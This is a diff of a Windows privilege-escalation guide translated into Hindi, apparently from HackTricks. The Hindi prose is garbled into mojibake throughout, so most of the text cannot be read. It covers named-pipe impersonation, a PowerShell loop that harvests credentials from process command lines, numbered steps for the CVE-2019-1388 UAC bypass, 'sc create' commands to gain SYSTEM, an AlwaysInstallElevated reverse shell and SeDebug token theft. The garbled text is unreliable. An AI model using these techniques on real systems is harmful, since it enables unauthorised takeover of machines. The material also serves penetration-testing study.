рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдЖрд╡рд╢реНрдпрдХ **SeImpersonate** рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрдВред рдПрдХ **privileged рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЬреЛ рдПрдХ рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡рд╛рдж рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдкрдХреЛ **рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдХрд╛ рдЕрд╡рд╕рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрдм рд╡рд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрд╕ рдкрд╛рдЗрдк рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, рд╕рд╣рд╛рдпрдХ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛рдПрдБ [**рдпрд╣рд╛рдБ**](named-pipe-client-impersonation.md) рдФрд░ [**рдпрд╣рд╛рдБ**](#from-high-integrity-to-system) рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред +рдЬрдм рдПрдХ **рдХреНрд▓рд╛рдЗрдВрдЯ** рджреНрд╡рд╛рд░рд╛ рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рд╕рд░реНрд╡рд░** рдЬрд┐рд╕рдиреЗ рдкрд╛рдЗрдк рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИ, **рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рдкрд╣рдЪрд╛рди** рдЕрдкрдирд╛рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд░рдЦрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдЖрд╡рд╢реНрдпрдХ **SeImpersonate** рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрдВред рдПрдХ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдЬреЛ рдПрдХ рдкрд╛рдЗрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡рд╛рдж рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдкрдХреЛ **рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдХрд╛ рдЕрд╡рд╕рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрдм рд╡рд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрд╕ рдкрд╛рдЗрдк рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, рд╕рд╣рд╛рдпрдХ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛рдПрдБ [**рдпрд╣рд╛рдВ**](named-pipe-client-impersonation.md) рдФрд░ [**рдпрд╣рд╛рдВ**](#from-high-integrity-to-system) рдорд┐рд▓ рд╕рдХрддреА рд╣реИрдВред -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдХрд░рдг **burp рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдПрдХ named pipe рд╕рдВрдЪрд╛рд░ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **рдФрд░ рдпрд╣ рдЙрдкрдХрд░рдг рд╕рднреА рдкрд╛рдЗрдкреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ privescs рдЦреЛрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрдкрдХрд░рдг **burp рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдирд╛рдорд┐рдд рдкрд╛рдЗрдк рд╕рдВрдЪрд╛рд░ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **рдФрд░ рдпрд╣ рдЙрдкрдХрд░рдг рд╕рднреА рдкрд╛рдЗрдкреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдФрд░ рджреЗрдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ privescs рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХреЗ** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Misc +## рд╡рд┐рд╡рд┐рдз -### **Monitoring Command Lines for passwords** +### рдлрд╝рд╛рдЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЬреЛ Windows рдореЗрдВ рдЪреАрдЬреЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ -рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХреБрдЫ рд╢реЗрдбреНрдпреВрд▓ рдХрд┐рдП рдЧрдП рдХрд╛рд░реНрдп рдпрд╛ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ **рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкрд╛рд╕ рдХрд░рддреА рд╣реИрдВ**ред рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣рд░ рджреЛ рд╕реЗрдХрдВрдб рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рдХреА рддреБрд▓рдирд╛ рдкрд┐рдЫрд▓реЗ рд╕реНрдерд┐рддрд┐ рд╕реЗ рдХрд░рддрд╛ рд╣реИ, рдХрд┐рд╕реА рднреА рдЕрдВрддрд░ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрд░рддрд╛ рд╣реИред -```powershell +рдкреГрд╖реНрда рджреЗрдЦреЗрдВ **[https://filesec.io/](https://filesec.io/)** + +### **рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА** + +рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдХреБрдЫ рд╢реЗрдбреНрдпреВрд▓ рдХрд┐рдП рдЧрдП рдХрд╛рд░реНрдп рдпрд╛ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЪрд▓ рд░рд╣реА рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ **рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдкрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкрд╛рд╕ рдХрд░рддреА рд╣реИрдВ**ред рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣рд░ рджреЛ рд╕реЗрдХрдВрдб рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рдХреА рддреБрд▓рдирд╛ рдкрд┐рдЫрд▓реЗ рд╕реНрдерд┐рддрд┐ рд╕реЗ рдХрд░рддрд╛ рд╣реИ, рдХрд┐рд╕реА рднреА рдЕрдВрддрд░ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрд░рддрд╛ рд╣реИред +```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine @@ -1262,13 +1266,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## рдкрд╛рд╕рд╡рд░реНрдб рдЪреБрд░рд╛рдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ +## рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдЪреБрд░рд╛рдирд╛ -## рд▓реЛ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдпреВрдЬрд░ рд╕реЗ NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC рдмрд╛рдпрдкрд╛рд╕ +## рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC рдмрд╛рдпрдкрд╛рд╕ -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ (рдХрдВрд╕реЛрд▓ рдпрд╛ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рдФрд░ UAC рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ Microsoft Windows рдХреЗ рдХреБрдЫ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ "NT\AUTHORITY SYSTEM" рдЬреИрд╕реЗ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЪрд▓рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ (рдХрдВрд╕реЛрд▓ рдпрд╛ RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ рдФрд░ UAC рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ Microsoft Windows рдХреЗ рдХреБрдЫ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, рдПрдХ рдЧреИрд░-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ "NT\AUTHORITY SYSTEM" рдЬреИрд╕реЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдпрд╛ рдЯрд░реНрдорд┐рдирд▓ рдХреЛ рдЪрд▓рд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИред -рдпрд╣ рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ UAC рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЙрд╕реА рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рдеред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ рднреА рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдмрд╛рдЗрдирд░реА, Microsoft рджреНрд╡рд╛рд░рд╛ рд╕рд╛рдЗрди рдФрд░ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдЙрд╕реА рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде UAC рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреБрдЫ рднреА рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рдмрд╛рдЗрдирд░реА Microsoft рджреНрд╡рд╛рд░рд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдФрд░ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдХреБрдЫ рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣реИрдВ: ``` @@ -1292,7 +1296,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -рдЗрд╕ рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: +рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1314,9 +1318,9 @@ Windows 10 1709 16299 link NOT opened https://github.com/jas502n/CVE-2019-1388 -## Administrator Medium рд╕реЗ High Integrity Level / UAC Bypass рддрдХ +## рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдордзреНрдпрдо рд╕реЗ рдЙрдЪреНрдЪ рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░ / UAC рдмрд╛рдпрдкрд╛рд╕ -**Integrity Levels** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдкрдврд╝реЗрдВ: +**рдЕрдЦрдВрдбрддрд╛ рд╕реНрддрд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдкрдврд╝реЗрдВ:** {{#ref}} integrity-levels.md @@ -1328,46 +1332,49 @@ integrity-levels.md ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## **High Integrity рд╕реЗ System рддрдХ** +## **рдЙрдЪреНрдЪ рдЕрдЦрдВрдбрддрд╛ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рддрдХ** ### **рдирдИ рд╕реЗрд╡рд╛** -рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА High Integrity рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ **SYSTEM рдореЗрдВ рдкрд╛рд╕ рдХрд░рдирд╛** рдХреЗрд╡рд▓ **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдХрд░ рдФрд░ рдЙрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ** рдЖрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: +рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЙрдЪреНрдЪ рдЕрдЦрдВрдбрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ **SYSTEM рддрдХ рдкрд╣реБрдВрдЪрдирд╛** рдЖрд╕рд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдмрд╕ **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдХрд░ рдФрд░ рдЙрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` +> [!NOTE] +> рдЬрдм рдПрдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдмрдирд╛рддреЗ рд╣реИрдВ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдпрд╣ рдПрдХ рдорд╛рдиреНрдп рд╕реЗрд╡рд╛ рд╣реИ рдпрд╛ рдХрд┐ рдмрд╛рдЗрдирд░реА рдЖрд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдпрд╛рдПрдБ рддреЗрдЬреА рд╕реЗ рдХрд░рддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдпрд╣ рдПрдХ рдорд╛рдиреНрдп рд╕реЗрд╡рд╛ рдирд╣реАрдВ рд╣реИ рддреЛ рдЗрд╕реЗ 20 рд╕реЗрдХрдВрдб рдореЗрдВ рд╕рдорд╛рдкреНрдд рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред + ### AlwaysInstallElevated -рдПрдХ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЖрдк **AlwaysInstallElevated рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ** рдФрд░ **рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ _**.msi**_ рд░реИрдкрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред\ -[рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ _.msi_ рдкреИрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рд▓рд┐рдП рдпрд╣рд╛рдВ рджреЗрдЦреЗрдВред](#alwaysinstallelevated) +рдПрдХ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдЖрдк **AlwaysInstallElevated рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ** рдФрд░ **рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ _**.msi**_ рд░реИрдкрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред\ +[рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ _.msi_ рдкреИрдХреЗрдЬ рдХреИрд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ рдпрд╣рд╛рдБред](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**рдЖрдк** [**рдХреЛрдб рдпрд╣рд╛рдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**](seimpersonate-from-high-to-system.md)**ред** +**рдЖрдк** [**рдХреЛрдб рдпрд╣рд╛рдБ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**](seimpersonate-from-high-to-system.md)**ред** ### From SeDebug + SeImpersonate to Full Token privileges -рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдпреЗ рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ (рд╕рдВрднрд╡рддрдГ рдЖрдк рдЗрд╕реЗ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╛рдПрдВрдЧреЗ), рддреЛ рдЖрдк **рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ** (рд╕рдВрд░рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░) SeDebug рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде **рдЦреЛрд▓рдиреЗ**, рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ **рдЯреЛрдХрди рдХреЙрдкреА рдХрд░рдиреЗ**, рдФрд░ рдЙрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдПрдХ **рдордирдорд╛рдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред\ -рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдорддреМрд░ рдкрд░ **SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣реА рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рднреА рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЪреБрдирд╛ рдЬрд╛рддрд╛ рд╣реИ** (_рд╣рд╛рдБ, рдЖрдк рд╕рднреА рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд┐рдирд╛ SYSTEM рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ_)ред\ -**рдЖрдк рдПрдХ** [**рдЙрджрд╛рд╣рд░рдг рдХреЛрдб executing the proposed technique рдпрд╣рд╛рдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**](sedebug-+-seimpersonate-copy-token.md)**ред** +рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдпреЗ рдЯреЛрдХрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ (рд╕рдВрднрд╡рддрдГ рдЖрдк рдЗрд╕реЗ рдкрд╣рд▓реЗ рд╕реЗ рдЙрдЪреНрдЪ рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд╛рдПрдВрдЧреЗ), рддреЛ рдЖрдк **рд▓рдЧрднрдЧ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЦреЛрд▓рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ (рд╕рдВрд░рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдирд╣реАрдВ) SeDebug рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, **рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЯреЛрдХрди рдХреЙрдкреА рдХрд░реЗрдВ**, рдФрд░ **рдЙрд╕ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдирд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдПрдВ**ред\ +рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдорддреМрд░ рдкрд░ **SYSTEM рдХреЗ рд░реВрдк рдореЗрдВ 